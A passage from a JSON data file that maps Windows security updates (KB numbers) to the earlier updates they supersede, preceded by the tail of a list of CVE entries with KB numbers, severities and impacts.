Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"}]},"kb_supersedes":{"2079403":["955069"],"2121546":["930178"],"2124261":["942830"],"2160329":["979559"],"2183461":["982381"],"2207566":["980436"],"2279986":["980218"],"2286198":["943460"],"2296199":["2279986","980218"],"2345304":["983444"],"2360131":["2183461"],"2360937":["982802"],"2378111":["979402"],"2387149":["924667"],"2393802":["981852"],"2412687":["958869"],"2416400":["2360131"],"2416447":["979906"],"2416469":["972593"],"2424434":["981997"],"2436673":["981957"],"2446704":["983583"],"2446708":["2160841"],"2446709":["983590"],"2447961":["954156","979332"],"2449741":["983588"],"2449742":["983589"],"2475792":["981332"],"2476490":["947890"],"2476687":["978037"],"2478953":["2207559","981550","982000"],"2478960":["943485"],"2478971":["977290"],"2479628":["2436673"],"2481109":["956744"],"2482017":["2416400"],"2483185":["2286198"],"2483618":["958469"],"2485376":["2296199"],"2485663":["2259922"],"2493987":["2345304"],"2497640":["2482017"],"2503665":["956803"],"2506223":["2479628"],"2507618":["2485376"],"2507938":["2121546","2476687"],"2508272":["980195"],"2508429":["982214"],"2509553":["945553","951748","956803"],"2510531":["971961","981332"],"2510581":["971961","981349"],"2510587":["971961","981350"],"2511455":["980232"],"2518863":["983587"],"2518864":["2446704","983583"],"2518865":["2449741","983588"],"2518866":["2449742"],"2518867":["2446709"],"2518869":["2446710"],"2518870":["2446708"],"2524426":["969883"],"2525694":["2506223"],"2525835":["2345316"],"2530095":["983582"],"2530548":["2497640"],"2536275":["2508429","975517"],"2536276":["2511455"],"2539631":["2478658"],"2539633":["2478660"],"2539634":["2478661"],"2539635":["2478662"],"2539636":["2478663"],"2544521":["938127"],"2544893":["2503658"],"2555917":["2506223","2525694"],"2556532":["981852"],"2559049":["2530548"],"2562485":["961063"],"2563894":["978886"],"2564958":["2476490"],"2567053":["2555917"],"2567680":["2121546","2507938"],"2571621":["2524426"],"2572066":["953295"],"2572067":["2416447"],"2572069":["953298"],"2572073":["983583"],"2572075":["983589"],"2585542":["980436"],"2586448":["2559049"],"2588516":["2563894"],"2592799":["2503665"],"2596911":["2493987"],"2601626":["981550"],"2604042":["2572066"],"2604044":["2656353"],"2604078":["2572069"],"2604092":["2518864","2572073","2633880"],"2604094":["2518866","2572075","2633874"],"2604114":["2518867","2572076","2633879"],"2604115":["2518869","2572077","2633873"],"2604121":["2518870","2572078","2633870"],"2616310":["982000"],"2617657":["2567053"],"2618444":["2586448"],"2618451":["2508272"],"2620712":["2476687"],"2621146":["2601626"],"2621440":["2570222"],"2626416":["2616310"],"2631813":["975562"],"2633171":["981852"],"2633870":["2539636"],"2633873":["2539635"],"2633874":["2539633"],"2633879":["2539634"],"2633880":["2539631"],"2636927":["2636927","2690729"],"2639417":["2567053","2617657"],"2641653":["2660465"],"2645640":["2503665","2592799"],"2646524":["2567680"],"2647170":["2562485"],"2647516":["2618444"],"2653956":["978601"],"2655992":["2585542"],"2656351":["2416472"],"2656352":["2418241"],"2656353":["2572067"],"2656355":["2416471"],"2656358":["2572069"],"2656362":["2416470"],"2657424":["2416473"],"2658846":["2665364"],"2659262":["2412687"],"2660465":["2639417"],"2675157":["2647516"],"2676562":["2641653"],"2685939":["2570222","2621440"],"2688338":["2588516"],"2690729":["2668562"],"2691442":["2286198"],"2698023":["2656353"],"2698032":["2572069"],"2698035":["2572066"],"2699988":["2675157"],"2705219":["958644"],"2706045":["2510531"],"2707511":["2556532","2633171"],"2709162":["2641653"],"2709715":["2556532"],"2712808":["961501"],"2716513":["2489256"],"2718523":["2709162"],"2719177":["2699988"],"2722913":["2699988"],"2723135":["2685939"],"2724197":["979683"],"2729449":["2572078","2633870"],"2729450":["2572073","2633880"],"2729451":["2572076","2633879"],"2729452":["2572077","2633873"],"2729453":["2572075","2633874"],"2731847":["2718523"],"2737019":["2656405"],"2742595":["2633870","2656368","2686827"],"2742596":["2633880","2656369","2686828","979909"],"2742597":["2656370","2698023"],"2742598":["2633879","2656372","2686830","979916"],"2742599":["2633873","2656373","2686831"],"2742601":["2633874","2656374","2686833","979910"],"2742604":["2604078","2656376","2698032"],"2742607":["2604042","2656378","2698035"],"2742613":["2729460"],"2743555":["956802"],"2744842":["2722913"],"2753842":["2507618"],"2757638":["2719985"],"2758694":["2721691"],"2758696":["2721693"],"2758857":["935839"],"2761226":["2731847"],"2761451":["2744842"],"2761465":["2761451"],"2772930":["2626416"],"2778344":["2778930","2779030"],"2778930":["2779030"],"2779030":["2761226"],"2780091":["975562"],"2789642":["2686827"],"2789643":["2686828"],"2789644":["2686830"],"2789645":["2686831"],"2789646":["2686833"],"2790113":["2567680"],"2790655":["2688338"],"2792100":["2761465","2799329"],"2797052":["2544521"],"2799494":["2724197"],"2801109":["2626416"],"2802968":["2476490"],"2804577":["979909"],"2804580":["979910"],"2808735":["2778344"],"2809289":["2792100"],"2813170":["2799494"],"2813345":["956744"],"2813347":["2483614"],"2814124":["2636927"],"2817183":["2797052","2809289"],"2829361":["2808735"],"2829530":["2817183"],"2832407":["2656405"],"2832411":["2604110","2656407"],"2832412":["2604105","2656409"],"2832414":["2656411"],"2833940":["2572073","983583"],"2833941":["2698023","2742597"],"2833946":["2572077"],"2833947":["2572075","983589"],"2833949":["2572069","2698032"],"2833951":["2572066","2742607"],"2834886":["2659262"],"2835361":["2658846"],"2835364":["2660649"],"2835393":["2572078"],"2838727":["2829530"],"2839229":["2813170"],"2839894":["2769369"],"2840628":["2656405"],"2845690":["2790655"],"2846071":["2838727"],"2847311":["2753842"],"2847559":["2814124"],"2850851":["2829361"],"2855844":["2835361"],"2858302":["2656351","2804576"],"2859537":["2813170","2839229"],"2861188":["2832407"],"2861193":["2835622"],"2861208":["2804582"],"2861697":["2657424"],"2861702":["2804583"],"2862772":["2846071"],"2863239":["2804577"],"2863240":["2804579"],"2863243":["2804584"],"2863253":["2804580"],"2864058":["2296011"],"2868623":["2845690"],"2870699":["2862772"],"2872339":["2790113"],"2875783":["2645640"],"2876217":["2624667"],"2876284":["2830290"],"2876315":["2850851"],"2876331":["956802"],"2879017":["2870699"],"2881068":["2837616"],"2883150":["2876315"],"2888505":["2879017","2884101"],"2890788":["2847559"],"2893984":["2883150"],"2898715":["2849470"],"2898785":["2888505"],"2898855":["2835393"],"2898856":["2833940"],"2898857":["2833946"],"2898858":["2833947"],"2898860":["2833949"],"2898864":["2833957"],"2898865":["2833958"],"2898866":["2833959"],"2900986":["2618451"],"2901110":["2656351"],"2901111":["2656352"],"2901113":["2656362"],"2901115":["2656358"],"2904659":["2868623"],"2904878":["2833951"],"2909210":["981332"],"2909212":["981349"],"2909213":["981350"],"2909921":["2898785"],"2913602":["2893984"],"2914368":["2440591"],"2916036":["2079403","2719985","2757638"],"2918614":["2442962"],"2922229":["2758857","2790113","2872339"],"2923392":["2772930"],"2925418":["2909921"],"2926765":["2691442","975713"],"2929961":["2845187"],"2930275":["2893984","2913602"],"2931352":["2898860"],"2931354":["2901113"],"2931356":["2901112"],"2932677":["2890788"],"2933528":["2626416","2801109"],"2936068":["2925418"],"2937608":["2656374","2686833","2789646","2804580","2833947","2844287","2863253","2898858"],"2937610":["2656373","2686831","2833946","2844286","2863240","2898857"],"2939576":["2916036"],"2943344":["2756919"],"2943357":["2756921"],"2953522":["2964358","2964444"],"2957189":["2868623","2904659"],"2957482":["2758696"],"2957503":["2834886","2901674"],"2957509":["2850869","981322"],"2957689":["2925418","2936068","2953522","2961851"],"2961072":["2503665","2645640","2875783"],"2961851":["2964444"],"2962872":["2963950"],"2963950":["2925418","2961851"],"2963952":["2963950"],"2964736":["2876331"],"2965155":["2876331"],"2966631":["2916036"],"2966825":["2789650","2804584","2833959","2844289","2863243","2898866","2901120"],"2966826":["2898868","2901125"],"2966827":["2756923"],"2971850":["2835364"],"2972098":["2633874"],"2972100":["2633873"],"2972105":["2633880"],"2972106":["2633870"],"2972207":["2898860"],"2972211":["2833946","2898857"],"2972212":["2833959","2898866"],"2972213":["2898868"],"2972214":["2833940","2898856"],"2972215":["2835393","2898855"],"2972280":["2929961"],"2973112":["2756921"],"2973113":["2756923"],"2973201":["2930275"],"2973906":["2930275"],"2973932":["2929961"],"2974268":["2833947","2898858"],"2974269":["2756919"],"2976627":["2962872","2963952"],"2976897":["2830290","2876284"],"2977629":["2976627"],"2978114":["2931352"],"2978121":["2931357"],"2978122":["2931358"],"2978124":["2932079"],"2978125":["2931365"],"2978126":["2931366"],"2978127":["2931367"],"2978128":["2931368"],"2978668":["2849470"],"2987107":["2977629"],"2989935":["967723"],"2992611":["2207566","2655992"],"2993254":["971032"],"2993651":["2930275","2964736","2973201"],"2993958":["2916036","2939576"],"3000061":["2930275"],"3000483":["2813170","2839229","3023266"],"3000869":["2584146"],"3002657":["2207559"],"3002885":["3000061"],"3003057":["2987107"],"3003743":["2207566","2965788"],"3004365":["3005607"],"3006226":["2476490"],"3008923":["3003057"],"3010788":["3000869"],"3011780":["2478971","977290"],"3012168":["2909213"],"3012172":["2909212"],"3012176":["2909210"],"3013455":["3002885"],"3019215":["946026"],"3021952":["3008923","3012168","3012172","3012176","3029449"],"3023211":["2898860"],"3023213":["2656374","2789646"],"3023215":["2656373","2686831"],"3023217":["2789650"],"3023220":["2656369","2789643"],"3023221":["2789642"],"3023223":["2789649"],"3023224":["2789648"],"3023266":["2813170","2829361","2839229","2859537"],"3023562":["2785220","2992611","3003743"],"3029944":["3013126"],"3030398":["3012172"],"3030403":["3012168"],"3030630":["3012176"],"3031432":["3023266"],"3032323":["2847311"],"3032359":["3021952","3034196","3036197"],"3032655":["2804579","2863240"],"3032662":["2804576"],"3033395":["2813170"],"3033890":["2378111"],"3034344":["3013455"],"3035017":["2965788"],"3035131":["3023562","3031432"],"3035132":["3029944"],"3035485":["2804580","2863253"],"3035486":["2804584","2863243"],"3037572":["2901115"],"3037573":["2901113"],"3037574":["2901112"],"3037575":["2901120"],"3037576":["2901125"],"3037577":["2901111"],"3037578":["2901110"],"3037579":["2901128"],"3037580":["2901127"],"3037581":["2901126"],"3038314":["3032359"],"3039066":["2691442","2926765","2962123"],"3045171":["3034344"],"3045999":["3033395","3035131","3046049"],"3046002":["2971850","2974286"],"3046049":["2992611","3023562"],"3046482":["2993958"],"3048068":["2832412","2861190"],"3048070":["2832414","2861191"],"3048071":["2832418","2861194"],"3048073":["2832411","2861189"],"3048074":["2656405"],"3049563":["3038314"],"3050514":["3023562"],"3050941":["2706045","3030630"],"3050945":["2510581","3030398"],"3050946":["2510587","3030403"],"3056819":["2932677"],"3057839":["3034344"],"3058515":["3049563"],"3059317":["3051768"],"3060716":["3035131","3045999","3050514","3067505"],"3061518":["3046049"],"3062577":["3062577"],"3063858":["2922229"],"3065822":["3058515"],"3067505":["3046049","3050514","3061518"],"3067904":["3035017"],"3068364":["3030630"],"3068368":["3030398"],"3068404":["3030403"],"3068457":["3002657"],"3069114":["3046002"],"3069392":["2964736","2965155","3046306"],"3069762":["3036493"],"3070102":["3057839"],"3071756":["3035131","3045999","3050514","3067505"],"3072303":["2861190","3048068"],"3072305":["3048070"],"3072306":["3048071"],"3072307":["3048072"],"3072309":["2656405","3048074"],"3072310":["3048077"],"3072311":["3048077"],"3072595":["2923392"],"3072630":["2918614"],"3072633":["2876217"],"3073921":["971468"],"3074541":["2656374"],"3074543":["2656373"],"3074547":["2656368"],"3075220":["2813345","2813347"],"3075221":["2813347"],"3075226":["3070738"],"3076895":["2939576","3046482"],"3077657":["3032323"],"3078071":["3076321"],"3078601":["3079904"],"3079757":["3039066"],"3079904":["3077657"],"3080333":["3056819"],"3080446":["3039066","3079757"],"3081320":["3061518","3067505"],"3081444":["3081436"],"3081455":["3081436","3081444"],"3084135":["2988948"],"3087038":["3078071","3081436","3081444","3087985"],"3087039":["3079904"],"3087135":["2957503"],"3088195":["3035131","3045999","3050514","3067505"],"3092601":["2961072","2973408"],"3093983":["3087038"],"3094995":["3068368"],"3094996":["3068368"],"3097617":["3081455","3087038"],"3097877":["3070102","3087135"],"3097988":["2979568"],"3097989":["2979570"],"3097991":["2979571"],"3097992":["2979573"],"3097994":["2979575"],"3097996":["2979578"],"3097997":["2979576"],"3098778":["2656351","2901110"],"3098779":["2901128"],"3098780":["2901127"],"3098781":["2901126"],"3099860":["3048068","3072303"],"3099862":["2861191","3048070"],"3099866":["3048074","3072309"],"3099869":["3048077","3072310"],"3100213":["3069114"],"3100465":["2647170"],"3100773":["3093983"],"3101246":["3011780","3050514","3067505"],"3101746":["3035131","3050514","3088195"],"3104002":["3100773"],"3105213":["3096448","3097617"],"3105578":["3068364"],"3105579":["3068368"],"3106614":["3080333"],"3108381":["3101246","3101746"],"3108669":["3087918"],"3108670":["2957509"],"3109094":["3097877"],"3109560":["2845187","2929961","2972280"],"3110329":["2631813","2780091","2803821","2845187","2887069","2929961","2972280","3005607"],"3115858":["3069114","3100213"],"3116869":["3105213"],"3116900":["3105211"],"3121212":["2620712","2633171","2644615","2724197","2799494","2813170","2839229","2859537","3035131","3045999","3088195","3101246","3101746"],"3121918":["2849470"],"3124000":["2567053","2617657","2639417","2641653","2660465","2709162","2718523","2731847","2761226","2778344","2778930","2779030","2808735","2829361","2850851","2876315","2883150","2893984","2913602","2930275","3000061","3002885","3013455","3034344","3057839","3070102"],"3124001":["3069392"],"3124263":["3116900"],"3124266":["3116869"],"3124275":["3104002"],"3124280":["3019215"],"3124624":["3105579"],"3124625":["3105578"],"3126036":["3106614"],"3126041":["3011780","3101246","3121918"],"3126446":["3035017","3067904","3069762"],"3126587":["3121918"],"3126593":["3121212"],"3127219":["2656374"],"3127220":["2656373"],"3133043":["3014029"],"3134214":["3124000"],"3134222":["3045711"],"3134814":["3124275"],"3135456":["3087088"],"3135982":["2863253","3035485"],"3135983":["2863240","3032655"],"3135984":["2863243","3035486"],"3135985":["3035487"],"3135987":["2832412","3099860"],"3135988":["3099862"],"3135989":["2832418","3099863"],"3135991":["3099864"],"3135994":["3032663"],"3135995":["3035489"],"3135996":["3035490"],"3137513":["3123294"],"3138910":["3033890"],"3138962":["3033890"],"3139852":["3134214"],"3139929":["3134814"],"3139940":["3006226","3072633"],"3140410":["3121212"],"3140709":["2620704"],"3140735":["3079904"],"3141083":["982666"],"3142030":["2978041"],"3142032":["2978042"],"3142033":["2972107"],"3142041":["3135987"],"3142042":["3135988"],"3142043":["3135989"],"3142045":["3135991"],"3143693":["3083186"],"3145739":["3139852"],"3146706":["3072633","3140410"],"3146723":["3023266","3121212"],"3146963":["2993958","3046482"],"3147458":["3140768"],"3147461":["3140745"],"3148198":["3139929"],"3149090":["3050514","3072595","3101246","3121918"],"3150220":["3108669"],"3153171":["3121212","3140410"],"3153199":["3139852","3145739"],"3153704":["2978668"],"3154070":["3148198"],"3154132":["3144756"],"3155413":["3124625"],"3156013":["3124001"],"3156017":["2976897"],"3156019":["3035132"],"3156387":["3147461"],"3156421":["3147458"],"3157569":["3137513"],"3158363":["3155413"],"3158364":["3158991"],"3158991":["3124624"],"3160005":["3154070"],"3160352":["2772930"],"3161561":["3050514","3101246","3121918"],"3161664":["3153199"],"3161951":["3100465"],"3163017":["3156387"],"3163018":["3156421"],"3163207":["3157993"],"3163912":["3163017"],"3164033":["3140735"],"3164035":["3156013"],"3167679":["3121918"],"3167685":["3163207"],"3168965":["3161664"],"3169658":["3158363"],"3169659":["3158364"],"3170106":["3160005"],"3170377":["3153171"],"3170455":["2712808","2839894"],"3172985":["3163018"],"3174060":["3167685"],"3175024":["2644615","3153171","3167679","3170377"],"3175443":["3170106"],"3175887":["3157569"],"3176492":["3163912"],"3176493":["3172985"],"3177108":["3050514","3068457","3101246"],"3177186":["2536275","3073921","3130896"],"3177725":["3168965"],"3178034":["2957503","3087135"],"3182373":["3126036"],"3183431":["3124280","3177725"],"3184122":["3006226"],"3184471":["2772930","3160352"],"3184943":["3175887"],"3185319":["3175443"],"3185330":["3175024"],"3185331":["3185319"],"3185332":["3192393"],"3185611":["3176492"],"3185614":["3176493"],"3185911":["3087135","3177725"],"3187754":["3167679"],"3188128":["3174060"],"3188726":["3142041"],"3188730":["3142042"],"3188731":["3142043"],"3188732":["3142045"],"3188735":["3142041"],"3188740":["3142042"],"3188741":["3142043"],"3188743":["3142045"],"3189039":["3099869"],"3189040":["3099874"],"3189866":["3176495"],"3191203":["3177725"],"3191256":["3175024","3177725"],"3191492":["3185319"],"3192391":["3124280","3139852","3140410","3145739","3153171","3153199","3161664","3167679","3175024","3177725","3178034","3185319"],"3192392":["3124280","3167679","3178034","3185319"],"3192393":["3145739","3153171","3153199","3154070","3161664","3168965","3170377","3177108","3177725","3178034","3185319","3187754"],"3192440":["3185611"],"3192441":["3185614"],"3193418":["3033889"],"3193713":["3182373"],"3194343":["3188128"],"3194371":["3177725"],"3194798":["3189866"],"3196718":["3184122"],"3196726":["3072630"],"3197655":["3191492"],"3197867":["2511455","2570947","3033889","3081320","3087039","3088195","3101246","3101746","3121212","3121918","3124000","3134214","3139852","3139940","3140410","3140735","3153171","3153199","3161664","3164033","3167679","3175024","3177725","3184122","3185319","3185330"],"3197868":["3185330"],"3197873":["3033889","3087039","3139940","3146706","3164033","3172727","3177108"],"3197874":["3185331"],"3197876":["3033889","3087039","3139940","3146706","3154070","3160005","3161664","3164033","3168965","3170106","3170377","3172727","3175443","3177108","3177725","3185319","3187754"],"3197877":["3197876"],"3198218":["3190847"],"3198234":["3177725"],"3198510":["3081320"],"3201860":["3194343"],"3202790":["3201860"],"3203621":["3191492"],"3203838":["3181707"],"3203859":["3164033"],"3204723":["3198234"],"3204724":["3164035"],"3204808":["3198510"],"3205408":["3072630","3108347","3164035","3168965","3170106","3175443","3177108","3177725","3185319","3185911","3187754"],"3205409":["3197877","3205408"],"3205638":["3164035"],"3207752":["3197868","3205394"],"3209498":["3202790"],"3212646":["3207752","3212642"],"3213986":["3206632"],"3214628":["3209498"],"3216775":["3198483"],"3216916":["3146963"],"3218362":["3193515"],"4010250":["3214628"],"4011981":["3198483"],"4012204":["3203621"],"4012214":["3187754"],"4012215":["3212646"],"4012216":["3205401","4014077"],"4012217":["3205409"],"4012497":["3204723"],"4012583":["3196348","3204724"],"4012598":["3177186"],"4012606":["3210720"],"4013198":["3210721"],"4013429":["3213986"],"4013867":["3193713"],"4014329":["4010250"],"4014652":["3214051"],"4014661":["4012204"],"4014793":["4011981"],"4014981":["3205402"],"4014982":["3205403"],"4014983":["3205404"],"4015068":["3184471"],"4015195":["3204723"],"4015217":["4013429"],"4015219":["4013198"],"4015221":["4012606"],"4015380":["3203859"],"4015383":["3178034"],"4015549":["4012215"],"4015550":["4012216"],"4015551":["4012217"],"4016871":["4015583"],"4017094":["4013867"],"4018196":["3100465"],"4018271":["4014661"],"4018466":["4012598"],"4018483":["4014329"],"4018556":["4011981"],"4018821":["3092601"],"4018885":["2957189"],"4019108":["3142037"],"4019109":["3142037"],"4019111":["3164024"],"4019112":["3135983","3142024","3216523","4014981"],"4019113":["2729462","2979577","3135984","3142025","3216522","4014982"],"4019114":["3135985","3142026","3216521","4014983"],"4019115":["3142023","3216520","4014984"],"4019149":["3156017"],"4019204":["4012497"],"4019206":["3204724"],"4019215":["4015550"],"4019216":["4015551"],"4019264":["4015549"],"4019472":["4015217"],"4019473":["4015219"],"4019474":["4015221"],"4020821":["4018483"],"4021558":["4018271"],"4021903":["3080446"],"4022008":["2839894"],"4022013":["4011981"],"4022714":["4019473"],"4022715":["4019472"],"4022719":["4019264"],"4022724":["4019216"],"4022725":["4016871"],"4022726":["4019215"],"4022727":["4019474"],"4022730":["4020821"],"4022746":["3011780"],"4022750":["4021923"],"4022883":["3203859"],"4022884":["3204724"],"4022887":["4012497"],"4023307":["4017094"],"4025240":["3216916"],"4025252":["4021558"],"4025331":["4022724"],"4025336":["4022726"],"4025338":["4022727"],"4025339":["4022715"],"4025341":["4022719"],"4025342":["4022725"],"4025344":["4022714"],"4025376":["4022730"],"4025409":["3184471"],"4025674":["2840149"],"4026059":["3181707","3203838"],"4034658":["4025339"],"4034660":["4025344"],"4034662":["4033813"],"4034664":["4025341"],"4034665":["4025331"],"4034668":["4025338"],"4034674":["4025342"],"4034681":["4025336"],"4034733":["4025252"],"4034741":["4011981"],"4034745":["3203838"],"4034786":["4019276"],"4035055":["4022887"],"4036586":["4034733"],"4038777":["4034664"],"4038781":["4034668"],"4038782":["4034658"],"4038783":["4034660"],"4038788":["4034674"],"4038792":["4034681"],"4038799":["4034665"],"4038806":["4034662"],"4038874":["4022013"],"4039266":["4021903"],"4039384":["4022887"],"4040685":["4036586"],"4040958":["2978126"],"4040959":["2978127"],"4040960":["2978128"],"4040964":["2978116"],"4040965":["2978121"],"4040966":["2978120"],"4040967":["2978122"],"4040971":["4014982","4019113","4032114","4035037"],"4040972":["4014983","4019114","4032115","4035038"],"4040973":["4014981","4014984","4019112","4019115","4032113","4032116","4035036","4035039"],"4040974":["4014983","4019114","4032115","4035038"],"4040975":["4014982","4019113","4032114","4035037"],"4040977":["4014981","4014984","4019112","4019115","4032113","4032116","4035036","4035039"],"4040978":["4014984","4019115","4032116","4035039"],"4040979":["4014982","4019113","4032114","4035037"],"4040980":["4014981","4019112","4032113","4035036"],"4040981":["4014983","4019114","4032115","4035038"],"4041676":["4038788"],"4041681":["4038777"],"4041689":["4038783"],"4041690":["4038799"],"4041691":["4038782"],"4041693":["4038792"],"4042050":["4034775"],"4042895":["4038781"],"4047206":["4040685"],"4047211":["4042067"],"4048951":["4049179"],"4048952":["4041689"],"4048953":["4041691"],"4048954":["4041676"],"4048955":["4042198"],"4048956":["4042895"],"4048957":["4041681"],"4048958":["4041693"],"4048959":["4041690"],"4048968":["4042122"],"4048970":["4042120"],"4049179":["4038806"],"4050795":["4042007"],"4052978":["4047206"],"4053577":["4049179"],"4053578":["4048952"],"4053579":["4048953"],"4053580":["4048954"],"4053581":["4048956"],"4054170":["3122654"],"4054171":["3122655"],"4054172":["3122656"],"4054174":["3122646"],"4054175":["3122655","3122658"],"4054176":["2973112","3122648"],"4054177":["3122651"],"4054181":["3122658"],"4054182":["3122660"],"4054183":["3122661"],"4054517":["4048955"],"4054518":["4048957"],"4054519":["4048958"],"4054520":["4048959"],"4054993":["4041085","4049017"],"4054994":["4041084","4049018"],"4054995":["4041083","4041086","4049016","4049017"],"4054996":["4041086","4049019"],"4054997":["4041084","4049018"],"4054998":["4041083","4049016"],"4054999":["4041085","4049017"],"4055000":["4041084","4049018"],"4055001":["4041085","4049017"],"4055002":["4041086","4049019"],"4056564":["4056448"],"4056568":["4052978"],"4056887":["4053577"],"4056888":["4053578"],"4056890":["4053579"],"4056891":["4053580"],"4056892":["4054517"],"4056893":["4053581"],"4056894":["4054518"],"4056895":["4054519"],"4056896":["4054520"],"4074588":["4056892"],"4074590":["4053579","4056890"],"4074591":["4056888"],"4074592":["4056891"],"4074593":["4056896"],"4074594":["4056895"],"4074595":["4056887"],"4074596":["4056893"],"4074598":["4056894"],"4074736":["4056568"],"4074880":["4041083","4049016"],"4088776":["4074588"],"4088779":["4074591"],"4088782":["4074592"],"4088785":["4056887"],"4088786":["4074596"],"4088787":["4074590"],"4088875":["4074598"],"4088876":["4074594"],"4088877":["4074593"],"4089187":["4074736"],"4092946":["4089187"],"4093107":["4088782"],"4093108":["4100480"],"4093109":["4088779"],"4093110":["4088785"],"4093111":["4088786"],"4093112":["4088776"],"4093114":["4088876"],"4093118":["4088875","4100480"],"4093119":["4088787"],"4093123":["4088877"],"4093223":["4056941"],"4093224":["4089344"],"4093478":["4073080"],"4094079":["4088827"],"4095872":["4055265","4074806","4076493"],"4095873":["4055267","4076495"],"4095874":["4055532","4076492"],"4095875":["4055266","4074807","4076494"],"4095876":["4055266","4074807","4076494"],"4096040":["4092946"],"4096416":["4055265","4074806","4076493"],"4096417":["4055266","4074807","4076494"],"4096418":["4055532","4076492"],"4096494":["4055265","4074806","4076493"],"4096495":["4055532","4076492"],"4101477":["3108381"],"4103716":["4093111"],"4103718":["4093118"],"4103723":["4093119"],"4103725":["4093114"],"4103727":["4093112"],"4103728":["4093109"],"4103729":["4088785"],"4103730":["4093123"],"4103731":["4093107"],"4103768":["4092946"],"4130944":["4073079"],"4131188":["4093224"],"4134651":["4018556"],"4230450":["4103768"],"4284815":["4103725"],"4284819":["4103727"],"4284826":["4103718"],"4284835":["4103721"],"4284855":["4103730"],"4284860":["4103716"],"4284874":["4103731"],"4284880":["4103723"],"4287903":["4103729"],"4338415":["4099635","4291497"],"4338416":["4099634","4291495"],"4338417":["4099633","4291493"],"4338418":["4099634","4291495"],"4338419":["4099635","4291497"],"4338420":["4099633","4099636","4291493","4291501"],"4338421":["4099634","4291495"],"4338422":["4099636","4291501"],"4338423":["4099633","4291493"],"4338424":["4099635","4291497"],"4338600":["2898871"],"4338613":["2898868"],"4338814":["4284880"],"4338815":["4284815"],"4338816":["4284855"],"4338818":["4284826"],"4338819":["4284835"],"4338821":["4284826"],"4338825":["4284819"],"4338826":["4284874"],"4338829":["4284860"],"4338830":["4284855"],"4338831":["4284815"],"4338832":["4287903"],"4339093":["4230450"],"4340583":["4093478"],"4343205":["4339093"],"4343885":["4338826"],"4343887":["4338814"],"4343892":["4338829"],"4343897":["4338825"],"4343898":["4338815"],"4343900":["4338818"],"4343901":["4338830"],"4343902":["4338832"],"4343909":["4338819"],"4344144":["4291495","4340557"],"4344145":["4291497","4340558"],"4344146":["4291493","4340556"],"4344147":["4291497","4340558"],"4344148":["4291495","4340557"],"4344149":["4291493","4291501","4340556","4340559"],"4344150":["4291495","4340557"],"4344151":["4291501","4340559"],"4344152":["4291493","4340556"],"4344153":["4291497","4340558"],"4344172":["4020506"],"4344173":["4020507"],"4344175":["3142025"],"4344176":["3142023"],"4344177":["3142024"],"4344178":["3142026","3142030"],"4345418":["4284880"],"4345419":["4284874"],"4345420":["4284819"],"4345421":["4284835"],"4345455":["4284860"],"4346877":["4345418"],"4457033":["4345591","4346081"],"4457034":["4345592","4346082"],"4457035":["4345593","4346083"],"4457036":["4345592","4346082"],"4457037":["4345591","4346081"],"4457038":["4345590","4346080"],"4457042":["4345591","4346081"],"4457043":["4345593","4346083"],"4457044":["4345590","4346080"],"4457045":["4345592","4346082"],"4457128":["4343909"],"4457129":["4343898"],"4457131":["4343887"],"4457132":["4343892"],"4457135":["4343901"],"4457138":["4343885"],"4457142":["4343897"],"4457144":["4343900"],"4457146":["4343902"],"4457426":["4343205"],"4462917":["4457131"],"4462918":["4457142"],"4462919":["4457128"],"4462922":["4457132"],"4462923":["4457144"],"4462926":["4457129"],"4462929":["4457135"],"4462937":["4457138"],"4462949":["4457426"],"4463097":["4458010"],"4465659":["4132216"],"4465660":["4132649"],"4465661":["4339420"],"4465663":["4456655"],"4465664":["4465477"],"4466536":["4462949"],"4467107":["4462923"],"4467680":["4462922"],"4467686":["4462918"],"4467691":["4462917"],"4467694":["4457146"],"4467696":["4462937"],"4467697":["4462926"],"4467701":["4462929"],"4467702":["4462919"],"4467706":["4463097"],"4467708":["4464330"],"4470199":["4466536"],"4470622":["4467226","4467242"],"4470623":["4467225","4467241"],"4470629":["4467225","4467241"],"4470630":["4467226","4467242"],"4470637":["4467227","4467243"],"4470638":["4467225","4467241"],"4470639":["4467226","4467242"],"4470640":["4467227","4467243"],"4470641":["4467224","4467240"],"4471102":["4457921","4467227","4467243"],"4471318":["4467107"],"4471320":["4467697"],"4471321":["4467691"],"4471323":["4467680"],"4471324":["4467702"],"4471325":["4467706"],"4471327":["4467696"],"4471329":["4467686"],"4471330":["4467701"],"4471331":["4467694"],"4471332":["4467708"],"4474419":["3212642"],"4477029":["4467694"],"4480056":["4470502"],"4480116":["4483235"],"4480961":["4471321","4483229"],"4480962":["4483228"],"4480963":["4471320"],"4480965":["4483187"],"4480966":["4483234"],"4480968":["4471325"],"4480970":["4471318"],"4480973":["4483229"],"4480975":["4471330"],"4480978":["4483232"],"4480979":["4471331"],"4481480":["2972107","3142024","3142033","3142037","4471987"],"4481482":["2978042","3142025","3142032","4461988","4471988"],"4481483":["3142025","4471988"],"4481484":["2978041","3142030","4461989","4467226","4471983","4471989"],"4481486":["2972107","3142033","3142037","4461990","4471990"],"4483187":["4470199"],"4483228":["4471323"],"4483229":["4471321"],"4483230":["4471327"],"4483232":["4471329"],"4483234":["4471324"],"4483235":["4471332"],"4483450":["4481484","4481485","4481490"],"4483452":["4480056","4481031"],"4486474":["4480965"],"4486563":["4480970"],"4486996":["4480978"],"4487000":["4480963"],"4487017":["4480966"],"4487018":["4480962"],"4487020":["4480973"],"4487023":["4480968"],"4487026":["4480961"],"4487038":["4471331"],"4487044":["4480116"],"4487078":["4467224","4481481","4481488"],"4487079":["4481483","4481489"],"4487081":["4467227","4481487","4481491"],"4489868":["4487017"],"4489871":["4487020"],"4489872":["4487018"],"4489873":["4486474"],"4489876":["4487019"],"4489878":["4486563"],"4489880":["4487023"],"4489881":["4487000"],"4489882":["4487026"],"4489886":["4486996"],"4489891":["4487025"],"4489899":["4487044"],"4489907":["4480979"],"4493435":["4489873"],"4493441":["4489886"],"4493446":["4489881"],"4493451":["4489891"],"4493464":["4489868"],"4493470":["4489882"],"4493471":["4489880"],"4493472":["4489878"],"4493474":["4489871"],"4493475":["4489872"],"4493478":["4489907"],"4493509":["4489899"],"4494440":["4493470"],"4494441":["4493509"],"4497932":["4493478"],"4498206":["4493435"],"4499149":["4493471"],"4499151":["4493446"],"4499154":["4493475"],"4499164":["4493472"],"4499167":["4493464"],"4499171":["4493451"],"4499179":["4493441"],"4499181":["4493474"],"4499406":["4487078","4487256"],"4499407":["4487079","4487257"],"4499408":["4489488","4495165"],"4499409":["4487081","4487259"],"4503259